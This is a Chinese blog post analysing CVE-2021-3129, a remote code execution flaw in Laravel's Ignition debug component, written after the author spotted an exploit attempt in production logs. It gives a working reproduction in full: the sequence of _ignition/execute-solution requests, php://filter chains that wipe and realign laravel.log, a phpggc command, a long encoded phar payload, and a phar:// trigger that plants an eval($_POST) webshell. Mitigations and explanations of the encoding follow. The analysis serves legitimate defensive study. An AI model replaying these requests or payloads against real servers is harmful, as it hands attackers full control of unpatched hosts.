深入理解Laravel(CVE-2021-3129)RCE漏洞(超2萬字從源碼分析黑客攻擊流程)

来源:https://www.cnblogs.com/phpphp/archive/2023/11/21/17845369.html
-Advertisement-
Play Games

背景 近期查看公司項目的請求日誌,發現有一段來自俄羅斯首都莫斯科(根據IP是這樣,沒精力溯源)的異常請求,看傳參就能猜到是EXP攻擊,不是瞎掃描瞎傳參的那種。日誌如下(已做部分修改): [2023-11-17 23:54:34] local.INFO: url : http://xxx/_ignit ...


背景

近期查看公司項目的請求日誌,發現有一段來自俄羅斯首都莫斯科(根據IP是這樣,沒精力溯源)的異常請求,看傳參就能猜到是EXP攻擊,不是瞎掃描瞎傳參的那種。日誌如下(已做部分修改):

[2023-11-17 23:54:34] local.INFO: 
url      : http://xxx/_ignition/execute-solution
method   : POST
ip       : 109.237.96.251
ua       : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
payload  : {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"zzzz","viewFile":"php:\/\/filter\/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode\/resource=..\/storage\/logs\/laravel.log"}}
file     : []
header   : {"content-type":"application\/json"}
time     : 38.50
mem      : 20 MB
user_id  : 0
response : ""

還有幾個請求日誌特別長,需要多個請求一起利用才可Pwn,在此處就不展示了。

臨時解決:

發現漏洞時已經是半夜了,考慮到防止公司項目中招又不影響業務。直接封禁了這個莫斯科的IP,並直接在框架的public目錄下建立了_ignition/execute-solution目錄,因為nginx訪問目錄的優先順序比laravel路由優先順序高,再次訪問就是403了。
等配置完了,最後發現是虛驚一場,因為項目用了更高的laravel和Ignition版本,生產與測試環境的版本已經是打過補丁的版本了。

有人說世界上的黑客分兩種,一種是俄羅斯黑客,一種是其它國家的黑客,黑客千千萬,可見俄羅斯黑客的實力。這麼好的對抗黑客案例怎麼能視而不見,值得挑戰,從源碼盤它

漏洞利用環境:

Laravel <= v8.4.2,並需要開啟debug模式。
Ignition <= 2.5.1。

漏洞成因:

整體:
Ignition組件有路由對外開放,且未做充分的過濾邏輯,在Laravel中利用php://filter協議編碼將日誌當做phar文件使用,利用phar反序列化漏洞,組成調用鏈,可生成一句話木馬。
關鍵點:
./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件中的makeOptional中的file_get_contents()參數未進行過濾,參數又是對外的開放的,且run()方法又直接將不安全的數據保存到了文件,部分源碼如下:

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }
    
    
    public function run(array $parameters = []) 
    {   
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

危險程度:

可生成一句話木馬,利用一句話木馬,PHP可以對文件,對資料庫,進行各種增刪改查操作,相當於伺服器淪陷,危險程度可想而知。

漏洞利用復現步驟:

1. 配置具有RCE的環境,並啟動項目(需開啟Laravel框架debug模式)

git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
cp .env.example .env
#使用伺服器啟動項目或者php artisan serve看個人喜好,我的訪問站點是192.168.3.180

2. 發送如下POST請求,如果發現報錯,證明前置流程已經走通。

url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "zzzz",
        "viewFile": "larvel.log"
    }
}

若程式提示ErrorException: file_get_contents(larvel.log): failed to open stream: No such file or directory in file說明環境配置正確。

3. 發送請求,清空日誌文件,留出空間用於存放漏洞數據數據

#這一步不能報錯,如果報錯,請重新再來
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "zzzz",
		"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
	}
}

4. 發送以下內容,用於日誌格式對齊

#這一步報錯沒關係
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

5. 使用phpggc生成phar編碼後的序列化利用POC(註意路徑是定製化的)

#此處的/Host/laravel,實際上是根據之前的報錯信息獲取的,因為開啟了debug模式。
php -d "phar.readonly=0" /test/phpggc/phpggc Laravel/RCE5 "\$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system(\$c);exec(\$c);shell_exec(\$c);eval('file_put_contents(\"/Host/laravel/public/s.php\", base64_decode(\"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+\"));');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())"

#將生成出來的poc再次發送給laravel項目,記得將亂碼的末尾添加一個a,這一步報錯沒關係
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=6B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=75=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=51=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=43=00=52=00=6A=00=50=00=53=00=64=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=68=00=61=00=61=00=47=00=4A=00=44=00=5A=00=32=00=74=00=59=00=4D=00=55=00=4A=00=51=00=56=00=54=00=46=00=53=00=59=00=6B=00=6F=00=79=00=52=00=57=00=35=00=59=00=55=00=32=00=73=00=33=00=53=00=55=00=51=00=34=00=4B=00=33=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=32=00=56=00=79=00=64=00=6D=00=56=00=79=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=7A=00=61=00=47=00=56=00=73=00=62=00=46=00=39=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=64=00=6D=00=46=00=73=00=4B=00=43=00=64=00=6D=00=61=00=57=00=78=00=6C=00=58=00=33=00=42=00=31=00=64=00=46=00=39=00=6A=00=62=00=32=00=35=00=30=00=5A=00=57=00=35=00=30=00=63=00=79=00=67=00=69=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=79=00=35=00=77=00=61=00=48=00=41=00=69=00=4C=00=43=00=42=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=52=00=66=00=5A=00=47=00=56=00=6A=00=62=00=32=00=52=00=6C=00=4B=00=43=00=4A=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4B=00=4D=00=6B=00=56=00=75=00=57=00=46=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=69=00=4B=00=53=00=6B=00=37=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6E=00=52=00=68=00=54=00=5A=00=51=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=78=00=70=00=55=00=50=00=36=00=64=00=78=00=54=00=61=00=73=00=5A=00=2B=00=50=00=68=00=55=00=73=00=47=00=31=00=6C=00=44=00=31=00=59=00=79=00=47=00=48=00=4A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
	}
}

6. 發送如下數據,清空對log文件中的其它字元,只留下POC(和清空日誌的一樣)

url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
	}
}

#如果這一步出錯,請重新再來,這一步不能報錯,如果報錯,下麵的流程走不下去。

7. 使用phar協議觸發序列化生成一句話木馬(註意路徑是定製化的)

url: http://192.168.3.180/_ignition/execute-solution
method: post
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "phar:///Host/laravel/storage/logs/laravel.log"
	}
}

8. 檢測一句話木馬存在

此時已經在項目的public目錄下,生成了s.php和server.php的一句話木馬,內容為

<?php eval($_POST['eval']) ?>

解決方案

  1. 或直接升級laravel和Ignition版本,laravel需要8.4.2以上,Ignition需要2.5.1以上。
  2. 或簡單粗暴,或者直接在public目錄下創建_ignition/execute-solution目錄(千萬別讓強迫症同事刪了,哈哈)。
  3. 或關閉debug模式。
  4. 或在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php的makeOptional()中臨時加入以下代碼:
if (! Str::startsWith($path, ['/', './'])) {
    return false;
}
if (! Str::endsWith($path, '.blade.php')) {
    return false;
}
//缺點就是代碼庫不會被同步,一般情況下vendor下的文件是不推薦修改的。

擴展知識

facade/ignition 擴展作用

是Laravel debug模式下,在程式報錯時用於展現漂亮的錯誤頁面的擴展。

為什麼要開啟debug模式才有下效

vendor/facade/ignition/src/IgnitionServiceProvider.php中設定的路由有前置中間件,調用了vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php中間件,中間件對debug配置有驗證

php://filter協議是什麼

php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents()、file_put_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。
簡單用法案例:

//將字元串base64編碼後存入文件
file_put_contents("php://filter/write=convert.base64-encode/resource=example.txt","Hello World");
//從文件中讀取數據並base64解碼
file_get_contents("php://filter/read=convert.base64-decode/resource=example.txt");

為什麼此次攻擊要用php://filter?

傳入的參數被file_get_contents()接收,file_get_contents()和file_put_contents()支持php://filter協議,起到把轉碼類型的字元串當做代碼來解析的作用。如果傳入php函數會被當做字元串去處理,而不會當做代碼去執行。畢竟php也不會有這麼大漏洞,隨便傳遞php腳本就當做代碼執行。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log的技術性作用?

|:相當於linux的管道符號。
write:向數據流中寫入數據,後面跟寫入的數據流。
resource:要篩選過濾的數據流,參數跟文件路徑。
convert:代表做格式轉換的關鍵字。
iconv:轉碼關鍵字。
utf-8.utf-16le:utf-8轉為utf-16le編碼,註意轉化後的數據占兩個位元組,還可能會產生不可列印字元。
quoted-printable-decode:將文本轉換為 quoted-printable 格式。Quoted-printable 是一種用於將非 ASCII 字元編碼為 ASCII 字元的傳輸編碼方式,可參考PHP的quoted_printable_encode()函數,用來列印不可見字元的,因為utf-8.utf-16le轉化之後,utf16-le字元的編碼占兩個位元組,會出現一些不可列印的字元,此時為了防止file_get_contents()載入NULL位元組的數據會導致PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line n產生的錯誤。
base64-decode:顧名思義,base64解碼,但要註意,解碼過程中會忽略掉非Base64字元的數據。
../storage/logs/laravel.log:被操作的文件。以public/index.php作為參考系。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log為什麼會清空日誌?

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件

makeOptional方法中的讀操作:
參數接受的是原封不動傳遞過來的json,只要$parameters['viewFile']參數存在且可訪問,那麼$originalContents變數就可以獲取日誌的數據,流程能走到這個階段,證明讀文件沒啥問題,此方法後續的代碼可以直接跳過。
run方法中的寫操作:
參數接受的是原封不動傳遞過來的json,makeOptional方法是被上方緊挨著的run方法調用,調用makeOptional方法後只要結果不是false,然後就寫入文件。

所以這次請求的核心邏輯,提取出來,也就相當於
$file_content = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $file_content);
而且viewFile就是php:\/\/filter\/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode\/resource=..\/storage\/logs\/laravel.log

再次精煉:
$file = "php://filter/write=convert.iconv.utf-8.utf-16le|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=F:/a.txt";
file_put_contents($file, 'text');

再次精煉(移除convert.quoted-printable-decode,照樣可清空日誌):
file_put_contents("php://filter/write=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log", 'aaaabbbcc');

轉化:
file_put_contents參數1可以理解成file_put_contents('../storage/logs/laravel.log', base64_decode(iconv('utf-16le', 'utf-8', file_get_contents('../storage/logs/laravel.log'))));
當base64_decode函數的操作數據無法解碼時會直接忽略,整個日誌文件都無法被base64解碼,base64只能返回空字元串,也就是內容,php://filter中resource參數是用於定位要操作的文件。
由於沒加FILE_APPEND,那麼會導致這個函數會清空文件數據後再在追加數據,追加給誰,和追加什麼數據,就是剛纔說的內容和文件。
file_put_contents參數2參數沒追加到文件中,也可能是這個函數機制問題,曾經反覆嘗試,就是沒有執行。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log為什麼能在日誌中產生符合phar規範的惡意代碼?

寫入日誌的流程同上,就不過多贅述了。
phpggc用來生成laravel反序列化漏洞,而上文使用php命令行生成phar文件,使用python來轉碼phar文件。
傳入請求後, 只要能到file_get_contents()函數,至少傳入的惡意代碼,是可以寫入到日誌的,那怕是file_get_contents()報錯,因為報錯信息會攜帶編碼過的惡意代碼保存到日誌,這也是能夠傳入惡意payload的主要原因。
當傳入成功之後,進行了一遍quoted-printable-decode,把傳入的payload變成了base64的數據,其餘的日誌不發生變化。然後將utf-16le.utf-8,此時其餘的日誌文件會發生亂碼,但是惡意payload以前已經被轉成utf-16le,此時轉化為utf-8不會報錯,而且能正常解析,到這一步可分離出正常代碼與惡意代碼。此時惡意payload是base64的,但是其餘的亂碼字元不是,由於base64的特性,遇到不是非base64字元的會忽略,然後日誌文件也就剩下惡意代碼了,然後走接下來的file_put_contents流程被寫入日誌,此時的日誌文件已經成為了phar文件,如果使用phar,就可以執行它。

quoted_printable_decode()在本次攻擊中的邏輯作用?

清除日誌時,這個函數沒有什麼作用,關鍵是在嚮日志中傳遞惡意payload時,解碼傳遞的payload為base64格式。

第五步時,python命令暗含quoted_printable_encode()的作用?

在第五步時,已經實現了quoted_printable_encode(),目的是為了防止執行file_get_contents()時\00(空位元組)報錯,為了將不可列印列印出來,轉成ascii,也就是轉化成“=00”。

convert.iconv.utf-16le.utf-8在本次攻擊中的邏輯作用?

作用1:清除日誌:quoted_printable_decode()不會對原始日誌字元串怎麼樣,關鍵是遇到utf-16le轉utf-8之後,會把字元轉為亂碼,而base64解碼只會解析base64能夠生成的字元,utf16le屬於兩個位元組,甚至存在一些不可列印字元,不屬於base64字元的會直接忽略,如果都忽略掉,那麼結果就是空字元,file_put_contents()就會清空日誌文件。

作用2:生成phar字元串:上文已經說明,就是為了分離,惡意代碼與普通日誌。

base64_decode在本次攻擊中的邏輯作用?

清除原始日誌內容,因為原始的日誌內容已經經過上一個管道( convert.iconv.utf-16le.utf-8)的轉化,變成了亂碼,由於base64忽略非base64預定字元的特性,此時再次調用base64解碼,可以清空亂碼的日誌文件,只保留可以被解析的惡意payload。

為什麼會有第四步的日誌格式對齊?

試過填充兩個字母也行,為的是讓編碼能夠更好的對齊,如果沒有對齊會導致解析失敗。
utf-16le解析是通過2個位元組解析的,前面不加東西,某些時候會解析出錯,導致整個利用鏈出錯。包括第5步的日誌最後加的a也同理。就是為了編碼對齊的情況下兩個payload故意錯位來保證攻擊高可用。
因為惡意的payload是嵌入在日誌當中的,想要通過各種轉碼只留下payload,確實需要一些編碼對齊的前提下去轉碼。
在日誌重抽象出來,簡化一下,可以理解為:
[其它日誌內容]PAYLOAD[其它日誌內容]PAYLOAD[其它日誌內容],
此時有兩個payload,其實只要一個payload就行了,但是由於日誌內容長度的不確定性,所以在對齊的情況下要互相錯位,通俗講,對齊後,兩個payload一個使用偶數位元組對齊,一個使用奇數位元組對齊,這樣可以保證不管解析的哪一個,都能有一個對齊成功,另一個對齊失敗。對其成功的就可以正常解析。
這個攻擊邏輯是根據日誌格式倒推出來的。

第4步和第5步的日誌,簡化後的日誌格式如下:請註意=50=00=...=00a所在位置
[2023-11-19 17:30:07] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Host/laravel/v...', 75, Array)
#1 /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
"} 
[2023-11-19 17:30:13] local.ERROR: file_get_contents(=50=00=...=00a): failed to open stream: Invalid argument {"exception":"[object] (ErrorException(code: 0): file_get_contents(=50=00=...=00a): failed to open stream: Invalid argument at /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Host/laravel/v...', 75, Array)
"} 

或許難以理解,利用bash shell抽象演示一下這個流程:

#模擬輸出utf-16le字元後重定向到文件,相當於第4步的日誌格式對齊。
#命令說明:echo -n 不輸出行尾的換行符。-e 允許對下麵列出的加反斜線轉義的字元進行解釋
echo -ne '[日誌]P\0A\0Y\0L\0O\0A\0D\0[日誌]P\0A\0Y\0L\0O\0A\0D\0[日誌]' > /test/test.txt
#PHP列印,相當於第6步攻擊
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
ꖗ뿥嶗PAYLOADꖗ뿥嶗PAYLOADꖗ뿥嶗
#如果在日誌中了追加了任意字元"Q"用來模擬對齊,如下:
echo -ne '[日誌]P\0A\0Y\0L\0O\0A\0D\0Q[日誌-]P\0A\0Y\0L\0O\0A\0D\0Q[日誌]' > /test/test.txt
#那麼輸出的就只剩下一個payload了。
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
ꖗ뿥嶗PAYLOAD孑韋鞿偝䄀夀䰀伀䄀䐀儀ꖗ뿥嶗
#但是由於日誌內容的不確定性,也許解析的是前面的payload,也有可能是後面的第二個payload。為了保證攻擊高可用,所以需要故意錯位。

如果沒有對齊會發生什麼?日誌文件太多,還是直接用bash抽象出來:

#故意在頭部加了一個A延時沒對齊的情況:
echo -ne '[日誌]AP\0A\0Y\0L\0O\0A\0D\0[日誌]P\0A\0Y\0L\0O\0A\0D\0[日誌]' > /test/test.txt
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1
Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1

什麼是phpggc?

開源代碼和官方文檔
PHPGGC全稱PHP Generic Gadget Chains,通用小工具鏈條。
PHPggc通俗講就是CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和Zend框架的反序列化漏洞利用程式,此工具可以產生漏洞利用的惡意代碼。

生成POC時,python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())是做什麼的?

python -c command命令行模式下運行。
import sys;:導入 Python 的 sys 模塊,該模塊提供了與 Python 解釋器及其環境交互的功能。
sys.stdin.read() 從標準輸入讀取文本內容。
for i in sys.stdin.read() 迴圈遍歷輸入中的每個字元 i。
ord(i) 返回字元 i 的 ASCII 值。
hex(ord(i))[2:] 將 ASCII 值轉換為十六進位表示,並去掉開頭的 ‘0x’。
=' + hex(ord(i))[2:] + '=00' 組合成 “=ASCII值=00” 的格式。
['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()] 使用列表推導式將每個字元轉換成 “=ASCII值=00” 的格式。
''.join() 將轉換後的每個字元連接起來。
.upper() 將最終結果轉換為大寫形式。
print() 輸出最終的轉換結果。

phar是什麼?

官方文檔·
phar 擴展提供了一種將整個 PHP 應用程式放入單個叫做“phar”(PHP 歸檔)文件的方法,以便於分發和安裝。 除了提供此服務外,phar 擴展還提供了一種文件格式抽象方法。可以簡單的理解為java的jar包,但是兩者沒有太多的相似性。

什麼是phar反序列化?

Phar 反序列化漏洞是一種存在於 PHP 的 Phar 擴展中的安全漏洞,攻擊者可以利用該漏洞構造惡意代碼併在受害者伺服器上執行任意命令。
攻擊者利用該漏洞通常需要將構造好的惡意代碼先存儲在一個經過篡改的 Phar 文件中,然後將該文件傳遞給目標伺服器併進行反序列化操作,從而導致代碼的執行。

phar:///Host/laravel/storage/logs/laravel.log流程

phar相當於jar包,所以打開有亂碼的情況,所以利用phpggc直接執行(註意此處的路徑是自定義的):

php /test/phpggc/phpggc Laravel/RCE5 "\$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system(\$c);exec(\$c);shell_exec(\$c);eval('file_put_contents(\"/Host/laravel/public/s.php\", base64_decode(\"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+\"));');"

可查看原始的反序列化字元串:

